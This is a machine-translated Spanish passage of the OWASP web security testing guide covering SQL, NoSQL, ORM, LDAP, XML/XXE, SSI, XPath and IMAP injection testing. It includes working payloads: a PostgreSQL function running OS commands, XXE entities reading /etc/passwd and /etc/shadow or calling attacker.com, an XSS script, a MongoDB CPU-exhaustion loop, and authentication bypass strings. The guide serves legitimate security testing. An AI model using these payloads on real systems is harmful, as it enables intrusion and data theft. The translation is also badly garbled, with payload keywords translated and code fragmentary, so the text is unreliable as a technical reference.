texto COMO ' importar '
sistema operativo;volver os.popen ( argumentos [0]). leer ()' IDIOMA plpythonu ;--
Ejecute un comando del sistema operativo : / store.php?id =1 UNION ALL SELECT NULL, proxyshell
(' whoami '), NULL OFFSET 1;- -
plperl
imposible a ganar nivel de sistema operativo acceso . Para exitosamente inyectar un proxyshell
como función , nosotros necesidad a instalar el que no es de confianza
versión de postgres usuario , a evitar los llamados solicitud mascarilla filtración de confiable / no
confiable operaciones .
Si no , suponiendo eso sysadm ya lo ha hecho instalado el plperl paquete , intente: CREAR IDIOMA
plperlu
Si cualquiera de los anteriores tuvo éxito , cree un shell proxy función : CREAR FUNCIÓN proxyshell
( texto ) DEVUELVE texto
Ejemplo
Crear un shell proxy función : / store.php?id =1; CREAR FUNCIÓN proxyshell ( texto ) DEVUELVE
texto COMO
Ejecute un comando del sistema operativo : / store.php?id =1 UNION ALL SELECT NULL, proxyshell
(' whoami '), NULL OFFSET 1;- -
Referencias
Bernardo Damele y Daniele Bellucci: sqlmap , una inyección SQL ciega herramienta
270
Resumen
Como se explica en la inyección SQL genérica sección , inyección SQL vulnerabilidades ocurrir
cuando sea la entrada proporcionada por el usuario es
usado durante la construcción de una consulta SQL sin ser adecuadamente constreñido o
desinfectado . Este clase de
vulnerabilidades permite un agresor a ejecutar código SQL bajo los privilegios del usuario eso es
usado a conectar hacia
base de datos . En esto sección , inyección SQL relevante técnicas eso utilizar específico
características de Microsoft Access será
discutido .
Cómo Probar
Tomando huellas dactilares de lo específico base de datos tecnología mientras probando con
tecnología SQL solicitud es el primer paso para adecuadamente
culos potencial vulnerabilidades . Una común acercarse involucra inyectando inyección SQL
estándar ataque patrones ( por ej .
comillas simples , dobles cotización ,…) en orden a desencadenar base de datos excepciones .
Asumiendo que la aplicación hace no manejar
excepciones con costumbre páginas , es es posible a huella digital del DBMS subrayado por
observar mensajes de error .
errores :
Error fatal: no detectado excepción ' com_exception ' con mensaje Fuente : Base de datos
Microsoft JET Motor
En todos los casos, nosotros tener una confirmación eso eran pruebas un solicitud utilizando la
base de datos MS Access .
Pruebas básicas
incluido :
Y muchos otros
Sin embargo , es posible a emular aquellos funciones por combinatorio múltiple operadores o por
usando alternativa
técnicas . Como se mencionó , es no posible para usar el truco de insertando los caracteres / * , --
o # en orden a
truncar la consulta . Sin embargo , afortunadamente podemos evitar esto . limitación por
inyectando un carácter ' nulo ' . Usando un byte nulo
%00 dentro de una consulta SQL da como resultado que MS Access ignore todo restante
caracteres . Esto se puede explicar por considerando
eso todo las cadenas tienen terminación NULL en el interno representación usado por la base de
datos . Él es valer mencionando que el
nulo El personaje a veces puede causar problemas. también como eso puede truncar cadenas en
el nivel del servidor web . En esos situaciones ,
podemos sin embargo emplear otro carácter : 0x16 (% 16 en URL codificada formato ).
271
http://www.example.com/page.asp?user=admin'%00&pass=foo
http://www.example.com/page.app?user=admin'%16&pass=foo
http://www.example.com/page.app?id=2'+UNION+SELECT+TOP+3+nombre+FROM+appsTable%00
y + (%2b) caracteres .
También hay muchos otro funciones eso puede ser usado mientras probar la inyección SQL ,
incluyendo pero no limitado a :
IIF: ¿Es la construcción IF , por ejemplo el siguiente declaración IIF( 1=1, 'a', 'b') devuelve a
MEDIO: Este función permite tú a extracto subcadena , para ejemplo el siguiente declaración mid
('abc',1,1) devuelve un
ARRIBA: Esto función permite tú a especificar el máximo número de resultados que la consulta
debería regresar desde la cima.
ÚLTIMO: Este función es usado a seleccionar solo el ultimo fila de un conjunto de filas . Para
ejemplo el siguiente consulta SELECCIONAR
Alguno de estos Los operadores son esenciales. a explotar Inyecciones SQL ciegas . Para otro
avanzado operadores , por favor referirse hacia
Atributos Enumeración
En orden a enumerar la columna de una tabla de base de datos , es posible utilizar un error común
basado en técnica . En breve,
podemos obtener los atributos nombre por Analizar mensajes de error y repetir la consulta. con
diferente selectores . Para
ejemplo , suponiendo eso nosotros conocer la existencia de una columna , también podemos
obtener el nombre del resto atributos
En el mensaje de error recibido es posible para observar el nombre del próximo columna . En esto
punto , podemos iterar el
método hasta nosotros obtener el nombre de todo atributos . Si nosotros no saber el nombre del
primero atributo , todavía podemos insertar un
ficticio columna nombre y obtener el nombre del primero atributo dentro del mensaje de error .
MSysObjetos
MSysACE
MSysAccessXML
Para Por ejemplo , si se trata de una inyección SQL de unión vulnerabilidad existe , puedes usar lo
siguiente consulta :
272
Alternativamente , es siempre posible a fuerza bruta la base de datos esquema por usando una
lista de palabras estándar ( por ejemplo , FuzzDb ).
En algunos casos, los desarrolladores o sistema los administradores no darse cuenta eso
incluyendo el real. archivo mdb dentro del
solicitud webroot puede permitir a descargar el completo base de datos . Base de datos los
nombres de archivos se pueden inferir con lo siguiente
consulta :
http://www.example.com/page.app?id=1'+UNION+SELECT+1+FROM+name.table%00
dónde nombre es el . mdb El nombre del archivo y la tabla son válidos . tabla de base de datos . En
caso de contraseña protegido bases de datos ,
Se pueden utilizar múltiples utilidades de software . para descifrar la contraseña . Por favor
referirse a las referencias .
Inyección SQL ciega las vulnerabilidades no son de ninguna manera las más fácilmente inyecciones
SQL explotables mientras probando la vida real
archivos arbitrarios .
En caso de Inyecciones SQL ciegas , el atacante sólo puede inferir el resultado de la consulta por
evaluando las diferencias horarias o
de la aplicación . Él es supuesto que el lector ya conoce la teoria detrás inyección SQL ciega
ataques , como
http://www.example.com/index.php?myId=[sql]
vamos considere el myId parámetro vulnerable a Inyección SQL ciega . como un atacante ,
nosotros desear a extraer el contenido de
columna nombre de usuario en la tabla usuarios , asumiendo eso nosotros tener ya reveló la base
de datos esquema .
un tipico consulta eso puede ser usado a inferir el primero personaje del nombre de usuario de las
10 filas es :
http://www.example.com/index.php?
o')
Por usando una combinación de las funciones IFF, MID, LAST y TOP , es posible a extraer el
primero personaje del
vamos asumir eso nosotros desear a recuperar el nombre de usuario de la décima fila . Primero ,
podemos usar la función SUPERIOR. a seleccione el primero
Luego , usando este subconjunto , podemos extraer el último fila por usando la ÚLTIMA función .
Una vez que nosotros tener solo uno fila y exactamente
La fila que contiene nuestro string , podemos usar las funciones IFF, MID y LAST a inferir el valor
real del nombre de usuario . En
nuestro ejemplo , nosotros emplear IFF para devolver un número o una cuerda . Usando este truco
, podemos distinguir si nosotros tener un verdadero
Error de SQL que puede ser potencialmente filtrado por 500 páginas de errores internos del
servidor . De lo contrario , una página estándar de 200 OK
273
http://www.example.com/index.php?
Como se mencionó , este método permite a inferir el valor de arbitrario instrumentos de cuerda
dentro de la base de datos :
1. Por intentando todo imprimible valores , hasta nosotros encontrar una coincidencia
2. Por infiriendo la longitud de la cuerda usando la función LEN , o por simplemente parando
después de nosotros tener encontró todo
caracteres
Basado en el tiempo Las inyecciones SQL ciegas también son posible por Abusar de consultas
pesadas .
Referencias
Microsoft Access-Wikipedia
274
Pruebas para inyección NoSQL
Resumen
Bases de datos NoSQL proporcionar más flojo consistencia restricciones que Bases de datos SQL
tradicionales . Por requiriendo menos relacional
las bases de datos todavía están potencialmente vulnerable a inyección ataques , incluso si ellos
no lo son utilizando la sintaxis SQL tradicional .
Porque estas inyecciones NoSQL ataques puede ejecutar dentro de un lenguaje procesal , más
bien que en el SQL declarativo
El lenguaje , el potencial. los impactos son mayores que Inyección SQL tradicional .
Base de datos NoSQL Las llamadas están escritas en el archivo de la aplicación. programación
idioma , una llamada API personalizada o formateado
de acuerdo a a un común convención ( como XML, JSON, LINQ, etc. ) . Entradas maliciosas dirigidas
a aquellos especificaciones
caracteres como < > & ; voluntad no prevenir ataques contra una API JSON, donde especial
caracteres incluir / { } : .
Están ahora más de 150 bases de datos NoSQL disponible para uso dentro un aplicación ,
proporcionando API en una variedad de
idiomas y relaciones modelos . Cada ofertas diferente características y restricciones . Porque allá
es no es común
idioma entre ellos , ejemplo inyección código voluntad no aplicar al otro lado de todas las bases de
datos NoSQL . Para este razón , cualquiera
pruebas para inyección NoSQL ataques voluntad necesidad a familiarizar ellos mismos con la
sintaxis , el modelo de datos y el subyacente
Inyección NoSQL ataques puede ejecutar en diferentes áreas de un solicitud que Inyección SQL
tradicional . Donde SQL
inyección haría ejecutar dentro de la base de datos motor , variantes NoSQL puede ejecutar
durante dentro de la aplicación capa o
la base de datos capa , dependiendo sobre la API NoSQL utilizada y el modelo de datos .
Normalmente inyección NoSQL ataques voluntad ejecutar
donde el ataque cadena es analizado , evaluado o concatenado en una llamada API NoSQL .
cubierto bajo inyección pruebas . En el momento de escribir MongoDB es lo más ampliamente usó
la base de datos NoSQL , y así todo
Cómo Probar
La API de MongoDB espera llamadas BSON ( JSON binario ) e incluye una consulta BSON segura
asamblea herramienta . Sin embargo ,
consulta alternativa parámetros . lo mas comúnmente llamada API usada permitiendo La entrada
arbitraria de JavaScript es $ donde
operador .
El MongoDB $ donde operador típicamente es utilizado como un filtro simple o comprobar , como
es es dentro de SQL.
Ejemplo 1
Si un agresor eran capaz a manipular los datos pasados en el $ donde operador , que agresor
podría incluir arbitrario
JavaScript para ser evaluado como parte de la consulta MongoDB . Un ejemplo vulnerabilidad es
expuesto en el siguiente código , si
} } );;
275
Al igual que con pruebas otro tipos de inyección , una hace no necesidad a completamente
explotar la vulnerabilidad a demostrar un problema . Por
inyectando especial caracteres importante al lenguaje API de destino y observando los resultados ,
un evaluador puede determinar si el
solicitud correctamente Sanitizó la entrada. Para ejemplo dentro de MongoDB, si una cadena que
contiene cualquier de los siguientes especial
'"\;{}
Con la inyección SQL normal , una vulnerabilidad similar haría permitir un agresor a ejecutar
comandos SQL arbitrarios -
permitir un agresor a manipular datos, pero también correr arbitrariamente código . Para
ejemplo , en lugar de de justo causando un error cuando
Esta entrada 0;var date=new Date(); do{ curDate = new Date();} mientras ( curDate -date<10000)
insertado en
ataque cadena encasillaría toda la instancia de MongoDB a ejecutar al 100% de uso de CPU
durante 10 segundos .
función ( ) { retorno obj.credits - obj.debits < 0;var fecha=nueva fecha(); hacer{ curDate = nuevo
Ejemplo 2
podría desencadenar la inyección NoSQL . Muchas instancias NoSQL tener su propio nombres de
variables reservadas , independientes del
Para ejemplo dentro de MongoDB, el $ donde sintaxis sí mismo es un reservado consulta operador
. Él necesidades ser pasado en el
Por favor hacer seguro eso para todo especial consulta operadores ( comenzando con $ ) usas
comillas simples para que PHP no intente
Incluso si una consulta no dependía de ninguna entrada del usuario , como la siguiente ejemplo ,
un agresor podría explotar MongoDB por
Uno forma a potencialmente asignar datos a variables PHP es a través del parámetro HTTP
Contaminación ( ver : Pruebas para el parámetro HTTP
que la consulta ya no es válido . Cualquier valor de $ donde otro que la cadena $ donde en sí
mismo , debería satisfacer a demostrar
Referencias
Inyección carga útil lista de palabras con ejemplos de inyección NoSQL para MongoDB
Libros blancos
276
277
Resumen
Objeto Relacional Inyección de mapeo (ORM) es un ataque usando inyección SQL contra un acceso
a datos generado por ORM
objeto modelo . Desde el punto de vista de un probador , este ataque es virtualmente idéntico a
una inyección SQL ataque . Sin embargo , el
Los beneficios de usando una herramienta ORM incluir rápido generación de un objeto capa a
comunicar a un relacional base de datos ,
estandarizar código plantillas para estos objetos , y que ellos generalmente proporcionar un
conjunto de seguro funciones a proteger contra
Inyección SQL ataques . ORM generado Los objetos pueden usar SQL o , en algunos casos, una
variante . de SQL, para realizar CRUD
Operaciones ( Crear , Leer , Actualizar , Eliminar ) en una base de datos . Él es posible , sin embargo
, para una aplicación web usando ORM
generado objetos ser vulnerable a la inyección SQL ataques si los métodos pueden aceptar
parámetros de entrada no saneados .
Cómo Probar
Las capas ORM pueden ser propensas a vulnerabilidades , ya que extender la superficie de ataque .
En cambio de apuntando directamente a la
solicitud con consultas SQL , te concentrarías en abusando de la capa ORM a enviar consultas SQL
maliciosas .
Para probar y comprender eficientemente ¿Qué está pasando entre su solicitudes y el backend
consultas , y al igual que con
información reunión capitulo , tu Deberías ser consciente de la tecnología ser usado por la
aplicación en cuestión . Controlar
Después de identificar el posible ORM que se está usado , es se convierte básico a entender cómo
es analizador es funcionamiento , y
estudiar métodos abusar de él , o incluso tal vez si la aplicación es usando un viejo versión ,
identificar CVE perteneciente hacia
biblioteca ser usado . A veces , las capas ORM no son adecuadamente implementado y por lo
tanto permitir para el probador a conducta
Lista resultados = session.createQuery ("de Pedidos como pedidos dónde pedidos.id = " +
Consulta hqlQuery = session.createQuery ("de Pedidos como pedidos dónde pedidos.id = ?");
Este implementación sale de la validación y sanitización ser realizado por la capa ORM , y el único
forma para evitarlo
278
Las capas ORM son código de terceros . bibliotecas mayoría del tiempo. Pueden ser vulnerables
simplemente como cualquier otro pedazo de código .
Uno ejemplo podría ser el ORM npm secuela biblioteca cual era encontró vulnerables en 2019. En
otro investigación
realizado por RIPS Tech , evita eran identificado en el ORM de hibernación utilizado por Java.
Basado en el artículo de su blog , un truco hoja eso podría permitir al probador a identificar
asuntos podría resumirse de la siguiente manera :
MS SQL 1<LEN(%C2%A0(seleccione%C2%A0top%C2%A01%C2%A0nombre%C2%A0de
%C2%A0usuarios)
Otro ejemplo haría incluye Laravel Query-Builder , que era encontró vulnerables en 2019.
Referencias
Wikipedia-ORM
279
Resumen
Inyección SQL del lado del cliente ocurre cuando un solicitud implementa la base de datos web
SQL tecnología y no
Llamadas API , como openDatabase ( ) , que crea o abre un existente base de datos .
Objetivos de la prueba
el atacante puede leer , modificar o borrar información almacenado dentro de la base de datos .
Cómo Probar
abrirbase de datos ( )
transacción ( )
ejecutar SQL ( )
var db = openDatabase ( nombre corto , versión , nombre para mostrar , tamaño máximo );
registro]);
});
evitando Condiciones
La siguiente el ejemplo muestra cómo este podría ser explotado en el lado del cliente :
});
Regresar información para todos los usuarios , en su lugar de solo el usuario correspondiente al
atacante , lo siguiente podría ser
Para Inyección SQL adicional cargas útiles , ir a las pruebas para inyección SQL escenario .
Remediación
280
sigue lo mismo remediación de las pruebas para inyección SQL Remediación Sección .
Referencias
281
IDENTIFICACIÓN
WSTG-INPV-06
Resumen
El peso ligero El protocolo de acceso a directorios (LDAP) es usado para almacenar información
acerca de usuarios , hosts y muchos más otro
objetos . Inyección LDAP es del lado del servidor ataque , que podría permitir información sensible
acerca de usuarios y hosts
representado en una estructura LDAP ser divulgado , modificado o insertado . Este esta hecho por
manipular los parámetros de entrada
aplicación web podría utilizar LDAP para a dejar usuarios autenticar o buscar otro información de
los usuarios dentro de una
corporativo estructura . La meta de inyección LDAP ataques es a inyectar búsqueda LDAP filtros
metacaracteres en una consulta cual
Rfc2254 define una gramática en cómo a construir una búsqueda filtrar en LDAPv3 y extiende
Rfc1960 (LDAPv2).
Una búsqueda LDAP filtrar es construido en polaco notación , también conocido como polaco
notación prefijo notación .
Este medio que un pseudocódigo condición en una búsqueda filtrar como este :
se representará como :
buscar ("(&( cn = John)( contraseña de usuario = micontraseña ))")
Booleano condiciones y grupo agregaciones en una búsqueda LDAP filtrar podría aplicarse por
usando lo siguiente
metacaracteres :
Metacar Significado
& booleano Y
| booleano o
! Booleano NO
= Igual
~= Aprox.
* Cualquier personaje
() Agrupación paréntesis
Ejemplos más completos en cómo a construir una búsqueda El filtro se puede encontrar en el RFC
relacionado .
282
Objetivos de la prueba
Cómo Probar
vamos suponer nosotros tener una aplicación web usando una búsqueda filtrar como el siguiente
uno :
filtro de búsqueda ="( cn ="+ usuario +")"
http://www.example.com/ldapsearch?user=John
http://www.example.com/ldapsearch?user=*
cual partidos cada objeto con un atributo ' cn ' es igual a cualquier cosa .
Si la aplicación es vulnerable a la inyección LDAP , voluntad mostrar alguno o todo del usuario
atributos , dependiendo sobre el
Si una aplicación web utiliza LDAP para controlar usuario cartas credenciales durante el inicio de
sesión proceso y es vulnerable a LDAP
inyección , es es posible para omitir la autenticación controlar por inyectando un consulta LDAP
siempre verdadera (de manera similar a
vamos supongamos que una aplicación web usa un filtro para coincidir con el usuario / contraseña
de LDAP par .
contraseña = contraseña
cual es correcto y siempre cierto. Este manera , el probador voluntad ganar estado de inicio de
sesión como el primero usuario en el árbol LDAP .
de pruebas de seguridad web v4.2
283
Herramientas
Referencias
Libros blancos
Inyección LDAP
284
IDENTIFICACIÓN
WSTG-INPV-07
Resumen
Inyección XML pruebas es cuando un evaluador intenta inyectar un documento XML a la aplicación
. Si el analizador XML falla a contextualmente
Este La sección describe la práctica. ejemplos de Inyección XML . Primero , un estilo XML.
comunicación será definido y su
el paso es logrado , el probador voluntad tener alguno información sobre la estructura XML , por lo
que será posible tratar de inyectar
Objetivos de la prueba
vamos suponer allá es una aplicación web usando un estilo XML comunicación en orden a llevar a
cabo usuario registro . Este
esta hecho por crear y agregar un nuevo usuario > nodo en un archivo xmlDb .
<correo>gandalf@tierramedia.com</correo>
</usuario>
<correo>Stefan0@whysec.hmm</correo>
</usuario>
</usuarios>
Cuando un usuario registros él mismo por relleno un formulario HTML , la aplicación recibe los
datos del usuario en una solicitud estándar ,
que , por el bien de sencillez , se supondrá para ser enviado como una solicitud GET .
producirá la solicitud :
285
http://www.example.com/addUser.php?username=tony&password=Un6R34kb!
e&email=s4tan@hell.com
<correo>s4tan@hell.com</correo>
</usuario>
<correo>gandalf@tierramedia.com</correo>
</usuario>
<correo>Stefan0@whysec.hmm</correo>
</usuario>
<correo>s4tan@hell.com</correo>
</usuario>
</usuarios>
Descubrimiento
El primer paso en orden. para probar un solicitud por la presencia de una inyección XML
vulnerabilidad consiste de intentando a insertar
Metacaracteres XML .
Comilla simple : ' - Cuando no desinfectado , esto personaje podría tirar un excepción durante el
análisis XML , si el inyectado
Así que si :
286
Doble cita : "- esto el personaje tiene el mismo es decir , como comilla simple y puede ser usado si
el atributo valor
Así que si :
la sustitución da :
Paréntesis angulares : > y < - Por añadiendo un abierto o paréntesis angular cerrado en una
entrada del usuario como el
siguiente :
<correo>s4tan@hell.com</correo>
</usuario>
pero porque de la presencia del '<' abierto, el documento XML resultante es inválido .
de comentario : <!-- /--> - Esto secuencia de caracteres es interpretado como el principio / fin de
un comentario . Entonces por
< nombre de usuario > foo <!-- </ nombre de usuario >
<correo>s4tan@hell.com</correo>
</usuario>
Para ejemplo :
287
Si es no codificado sí mismo con & amp ; , él puede ser usado para probar la inyección XML .
<correo>s4tan@hell.com</correo>
</usuario>
pero , nuevamente , el documento es no válido : & foo es no terminado con ; y el & foo ; entidad
es indefinido .
sección CDATA delimitadores : <!\ [CDATA\[ / ]]> - Se utilizan secciones CDATA para escapar de los
bloques de texto que contiene
caracteres cual haría De lo contrario, se reconocerá como marcado . En otra palabras , personajes
encerrado en un CDATA
Para ejemplo , si allá es la necesidad a representar la cadena <foo> dentro de un texto nodo , una
sección CDATA puede ser usado :
<nodo>
</nodo>
para que < foo > no se analice como marcado y se considere como datos de caracteres .
< nombre de usuario > <![ CDATA[<$ nombre de usuario ]]></ nombre de usuario >
el probador podría intentar inyectar la cadena CDATA final ]]> en orden tratar de invalidar el
documento XML .
caso, la sección CDATA delimitadores puede ser simplemente eliminado , sin más inspeccionando
su contenidos . Entonces eso es
posible a inyectar etiquetas HTML, que se incluirá en la página generada , completamente pasando
por alto existente desinfección
rutinas .
vamos Consideremos un ejemplo concreto . Suponer nosotros tener un nodo que contiene alguno
texto eso se mostrará nuevamente en la
usuario .
<html>
$ código HTML
</html>
288
<html>
<![ CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
</html>
<guión>
alerta ('XSS')
</script>
Externo Entidad : El conjunto de válido Las entidades pueden ampliarse mediante definir nuevas
entidades . si la definicion de un entidad es una URI,
la entidad es llamado un externo entidad . A menos que configurado hacer lo contrario , externo
entidades forzar el analizador XML a
acceder al recurso especificado por el URI, por ejemplo , un archivo en la máquina local o en
sistemas remotos . Este comportamiento
expone la aplicación a XML externo Ataques de entidad (XXE) , que se pueden utilizar a llevar a
cabo negación de servicio del
sistema local , ganancia no autorizado acceso a archivos en la máquina local, escanear máquinas
remotas y realizar negación de
Esta prueba podría bloquear el servidor web ( en un sistema UNIX ), si el analizador XML intentos
sustituir la entidad con el
<!ENTITY xxe SISTEMA "archivo:///etc/contraseña" >]>< foo >& xxe ;</ foo >
<!ENTITY xxe SISTEMA "archivo:///etc/shadow" >]>< foo >& xxe ;</ foo >
<!ENTITY xxe SISTEMA "archivo:///c:/boot.ini" >]>< foo >& xxe ;</ foo >
<!ENTITY xxe SISTEMA "http://www.attacker.com/text.txt" >]>< foo >& xxe ;</ foo >
Inyección de etiquetas
Una vez que el primer paso es logrado , el probador voluntad tener alguno información sobre la
estructura del documento XML .
Entonces eso es posible tratar de inyectar datos y etiquetas XML. Nosotros mostrará un ejemplo
de cómo esto puede conducir a un privilegio
escalada ataque .
<correo>gandalf@tierramedia.com</correo>
</usuario>
<correo>Stefan0@whysec.hmm</correo>
</usuario>
<correo>s4tan@hell.com</correo>
</usuario>
</usuarios>
El archivo XML resultante es Bueno formado . Además , es probable que , para el usuario tony , el
valor asociado con el ID de usuario
privilegios .
El único problema es que aparezca la etiqueta de ID de usuario dos veces en el último usuario
nodo . A menudo , los documentos XML están asociados con
<!DOCTYPE usuarios [
]>
Tenga en cuenta que el ID de usuario nodo es definido con cardinalidad 1. En este caso, el ataque
nosotros tener mostrado antes (y otros simples
290
Sin embargo , esto El problema se puede resolver si el probador controla el valor de alguno nodos
precedente al delito nodo
( ID de usuario , en este ejemplo ). De hecho , el evaluador puede comentar afuera semejante
nodo , por inyectando un comentario inicio fin secuencia :
<correo>gandalf@tierramedia.com</correo>
</usuario>
<correo>Stefan0@whysec.hmm</correo>
</usuario>
</usuario>
</usuarios>
ID de usuario original el nodo ha sido comentó fuera , saliendo solo el inyectado uno . El
documento ahora cumple con
La siguiente API de Java puede ser vulnerable a XXE si ellos no son configurado adecuadamente .
javax.xml.parsers.DocumentBuilder
javax.xml.parsers.DocumentBuildFactory
org.xml.sax.EntityResolver
org.dom 4j.*
javax.xml.parsers .SAXParser
javax.xml.parsers.SAXParserFactory
transformadorfábrica
Lector SAX
Ayudante de documentos
SAXConstructor
SAXParserFábrica
XMLInputFactory
fábrica de esquemas
DocumentBuilderFactoryImpl
SAXTransformerFábrica
DocumentBuilderFactoryImpl
Lector XML
Controlar fuente código si el docType , DTD externo y externo parámetro entidades se establecen
como usos prohibidos .
291
Además , el lector de oficina Java POI puede ser vulnerable a XXE si la versión es bajo 3.10.1.
La versión La biblioteca de puntos de interés se puede identificar por el nombre del archivo. del
JAR. Para ejemplo ,
poi-3.8.jar
poi-ooxml-3.8.jar
libxml2:
xmlCtxtReadMemory,xmlCtxtUseOptions ,xmlParseInNodeContext,xmlReadDoc,xmlReadFd,xmlRe
adFile
Herramientas
Referencias
Inyección XML
292
IDENTIFICACIÓN
WSTG-INPV-08
Resumen
Los servidores web normalmente dar desarrolladores la capacidad a agregar pequeño piezas de
dinámica código adentro páginas HTML estáticas , sin
teniendo para lidiar con el lado del servidor de pleno derecho o lado del cliente idiomas . Este
característica es proporcionó por el lado del servidor
Incluye ( SSI).
Lado del servidor Incluye directivas que el servidor web analiza. antes servir la página al usuario .
Ellos representar un
alternativa a escribir programas CGI o incrustar código utilizando lenguajes de scripting del lado
del servidor , cuando hay solo necesidad
a llevar a cabo Tareas muy sencillas . Implementaciones comunes de SSI proporcionar directivas
( comandos ) para incluir archivos externos , para
configurar e imprimir variables de entorno CGI del servidor web , o a ejecutar scripts CGI externos
o sistema comandos .
SSI puede conducir a un comando remoto Ejecución (RCE), sin embargo mayoría servidores web
tener la directiva ejecutiva deshabilitada por
por defecto.
necesidades del servidor para ser configurado a permitir SSI. En el otro mano , inyección SSI las
vulnerabilidades son a menudo más simple a explotar ,
ya que las directivas SSI son fáciles a entender y, al mismo tiempo, bastante potente , por
ejemplo , pueden generar el contenido de
Objetivos de la prueba
Cómo Probar
para probar SSI explotable , inyecta directivas SSI como entrada del usuario . Si SSI está habilitado
y la validación de la entrada del usuario no se ha realizado estado
Primero determine si el servidor web admite directivas SSI. A menudo , la respuesta es sí, como
soporte SSI es bastante común . A
determinar si se admiten directivas SSI , descubrir el tipo del servidor web que el objetivo está
ejecutando información
reunión técnicas ( ver Servidor web de huellas dactilares ). Si tú tener acceso al código , determine
si se utilizan directivas SSI
por buscando a través del servidor web archivos de configuración para específico palabras clave .
Otro forma de verificando que las directivas SSI estén habilitadas es por comprobación para
paginas con el . shtml extensión , que es
asociado con las directivas SSI. El uso del . shtml extensión es no obligatorio , entonces no
teniendo encontró cualquier . shtml
Primero encontrar todas las paginas dónde la entrada del usuario es permitido . Posibles vectores
de entrada puede también incluir encabezados y cookies.
era modificado en algunos forma . Acceso a la fuente el código puede ayudar tú para determinar
más fácilmente dónde están los vectores de entrada
Una vez tú tener una lista de potencial inyección puntos , tu puede determinar si la entrada es
correctamente validado . Asegurar él es
posible a inyectar caracteres utilizado en directivas SSI como <!# =/."- > y [a-zA-Z0-9]
293
El siguiente ejemplo devuelve el valor de la variable. Las referencias La sección tiene enlaces útiles
con información específica del servidor .
Cuando usando la directiva include , si el archivo proporcionado es un script CGI, esta directiva
incluir la salida del CGI
guion. Esta directiva puede también ser usado a incluir el contenido de un archivo o enumerar
archivos en un directorio :
es servido .
Las directivas SSI también se pueden inyectar en los encabezados HTTP , si la aplicación web es
usando esos datos para construir un
OBTENER / HTTP/1.1
Anfitrión: www.ejemplo.com
Herramientas
ZAP OWASP
Referencias
294
IDENTIFICACIÓN
WSTG-INPV-09
Resumen
XPath es un idioma eso ha sido diseñado y desarrollado ante todo a DIRECCIÓN partes de un
documento XML . En XPath
agresor a ejecutar controlado por el usuario XPath consultas . Cuando exitosamente explotado ,
este vulnerabilidad puede permitir un agresor
relacional bases de datos tener estado por lejos el mas común tecnología para el almacenamiento
de datos , pero , en el último años , estamos
presenciando un creciente popularidad para bases de datos eso organizar datos utilizando el
lenguaje XML . Al igual que relacional
se accede a las bases de datos A través del lenguaje SQL , las bases de datos XML utilizan XPath
como consulta estándar . idioma .
Ya que desde un punto conceptual de ver , XPath es muy similar a SQL en su propósito y
aplicaciones , un interesante resultado
es eso XPath inyección ataques sigue lo mismo lógica como inyección SQL ataques . En algunos
aspectos , XPath es aún más
técnicas que se puede utilizar en una inyección SQL ataque depender sobre las características del
dialecto SQL usado por el
base de datos de destino . Este medio eso XPath inyección Los ataques pueden ser mucho más
adaptables y ubicuos . Otro
ventaja de un XPath inyección ataque es que , a diferencia de SQL, no se aplican ACL , como
nuestro consulta puede acceder cada parte de
el documento XML .
Objetivos de la prueba
Cómo Probar
El XPath ataque patrón era primero publicado por Amit Klein y es muy similar a la inyección SQL
habitual . En orden a conseguir
un primero comprender del problema , imaginemos una página de inicio de sesión que gestiona la
autenticación a un aplicación en la que el
usuario debe ingresar su nombre de usuario y contraseña . vamos asumir eso nuestro base de
datos es representado por el siguiente archivo XML:
</usuario>
</usuario>
</usuario>
</usuarios>
295
Un XPath consulta eso devuelve la cuenta cuyo nombre de usuario es gandalf y la contraseña es !c
3 sería el
siguiente :
string (// usuario [ nombre de usuario / texto ( )=' gandalf ' y contraseña / texto ()='!c3']/ cuenta /
texto ())
Si la aplicación hace no adecuadamente filtrar entrada del usuario , el probador será capaz a
inyectar XPath codificar e interferir con el
string (// usuario [ nombre de usuario / texto ( )='' o '1' = '1' y contraseña / texto ()='' o '1' = '1']/
cuenta / texto ())
Como en una inyección SQL común ataque , nosotros tener creó una consulta eso siempre evalúa
a verdadero, que medio que el
solicitud voluntad autenticar al usuario incluso si un nombre de usuario o una contraseña tener no
estado proporcionó . Y como en un común
Inyección SQL ataque , con XPath inyección , el primer paso es a inserte una comilla simple ( ' ) en
el campo para ser probado ,
Si allá no hay conocimiento sobre los datos XML internos detalles y si la solicitud hace no
proporcionar error útil
mensajes eso ayuda a nosotros reconstruir es interno lógica , es es posible a realizar una ciega
XPath Inyección ataque , cuyo meta
a inyectar código eso crea una consulta eso devoluciones un poco de información . Ciego XPath
Inyección es explicado con más detalle por
Referencias
Libros blancos
296
IDENTIFICACIÓN
WSTG-INPV-10
Resumen
Este amenaza afecta todo aplicaciones eso comunicar con servidores de correo (IMAP/SMTP),
generalmente correo web aplicaciones .
Una inyección IMAP/SMTP marcas él posible a acceder a un servidor de correo que de lo contrario
haría no ser directamente accesible
desde Internet. En algunos casos, estos interno los sistemas no tener lo mismo nivel de
infraestructura seguridad y
endurecimiento eso es aplicado a los servidores web front-end . Por lo tanto , los resultados del
servidor de correo puede ser más vulnerable a ataques
Figura 4.7.10-1: Comunicación con los servidores de correo usando la inyección IMAP/SMTP
técnica
La figura 1 muestra el flujo. de tráfico generalmente visto cuando usando correo web tecnologías .
El paso 1 y 2 es el usuario. interactuando
con el correo web cliente , mientras que el paso 2 es el probador evitando el correo web cliente e
interactuando con la parte trasera
Este técnica permite una amplia variedad de acciones y ataques . Las posibilidades depender sobre
el tipo y alcance de inyección
Información fugas
Retransmisión /SPAM
Objetivos de la prueba
297
Evaluar la inyección impactos .
Cómo Probar
seguro aplicación , la respuesta debe ser un error con alguno correspondiente acción diciéndole al
cliente eso algo
ha ido equivocado . En una aplicación vulnerable , el malicioso pedido puede ser procesado por el
final solicitud eso
Él es importante tomar nota de que las solicitudes ser enviado debe coincidir con la tecnología ser
probado . Envío de inyección SQL
instrumentos de cuerda para el servidor Microsoft SQL cuando se utiliza un servidor MySQL ser
usado voluntad dar lugar a respuestas falsamente positivas. En este caso,
enviando comandos IMAP maliciosos es modus operandi ya que IMAP es el subyacente protocolo
ser probado .
operaciones con buzones de correo ( listar , leer , crear , eliminar , renombrar ) Correo electrónico
de destino
Archivos adjuntos
En esto Por ejemplo , el parámetro “ buzón ” es ser probado por manipulando todo peticiones con
el parámetro en:
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=46106&startMessage=1
http://<webmail>/src/read_body.php?mailbox=&passed_id=46106&startMessage=1
Sustituir el valor con un azar valor :
